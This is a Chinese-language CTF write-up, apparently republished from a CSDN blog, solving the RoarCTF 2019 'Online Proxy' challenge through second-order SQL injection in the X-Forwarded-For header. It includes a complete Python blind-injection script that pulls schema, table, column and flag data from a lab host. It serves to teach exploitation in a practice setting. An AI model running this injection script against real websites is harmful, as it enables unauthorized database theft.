码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [RoarCTF 2019]Online Proxy


    知识点:二次注入
    

    查看源码,可以看到当前的ip,盲猜是通过X-Forwarded-For或者Client-ip,经测试是X-Forwarded-For

    例如:我们加上X-Forwarded-For:127.0.0.1,它会把当前和上次的ip显示出来,一股浓浓的二次注入的味道。
    在这里插入图片描述
    测试:
    先输入注入,显示在当前ip位置
    在这里插入图片描述
    在这里插入图片描述
    在输入一个ip,那么注入语句就会显示在last-ip,此时已经写入数据库
    在这里插入图片描述
    我们在用刚才的那个ip,因为当前ip和上次输入的一样,所以他会在数据库中寻找,上一次不通过的ip,这样我们的注入就运行成功了。

    exp:

    import requests
    
    url = "http://node4.buuoj.cn:28728/"
    header = {
        'Cookie':'track_uuid=dcc1bf90-e17d-469b-c95b-15958a410f29',
        'X-Forwarded-For':''
    }
    
    name = ""
    i = 0
    while True:
        head = 32
        tail = 127
        i += 1
        while (head < tail):
            mid = head + tail >> 1
    
            #payload = "0' or ascii(substr((select group_concat(schema_name) from information_schema.schemata),{0},1))>{1} or '0".format(i, mid)
            #payload = "0' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),{0},1))>{1} or '0".format(i, mid)
            #payload = "0' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='F4l9_t4b1e' and table_name='FLAG_TABLE'),{0},1))>{1} or '0".format(i, mid)
            payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
    
            header["X-Forwarded-For"] = payload
            html_0 = requests.post(url, headers=header)
            header["X-Forwarded-For"] = "111"
            html_1 = requests.post(url, headers=header)
            html_2 = requests.post(url, headers=header)
    
            if "Last Ip: 1" in str(html_2.text):
                head = mid + 1
            else:
                tail = mid
        if head != 32:
            name += chr(head)
            print(name)
        else:
            break
    
    
  • 相关阅读:
    探索ClickHouse——使用MaterializedView存储kafka传递的数据
    Vue vs React:你需要知道的一切
    vue导入导出csv文件(插件papaparse + jschardet)
    microsoft.office.interop.word 怎样 读取 某个汉字 字体颜色为红色
    C语言:数组的插入
    弘辽科技:拼多多品质竞价怎么报名?要遵循什么规则?
    idea中导入eclipse的javaweb项目——tomact服务(保姆级别)
    【微服务|OpenFeign】openfeign的超时时间
    vue3 defineProps 函数
    反射机制(Reflection)
  • 原文地址:https://blog.csdn.net/shinygod/article/details/124270202
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号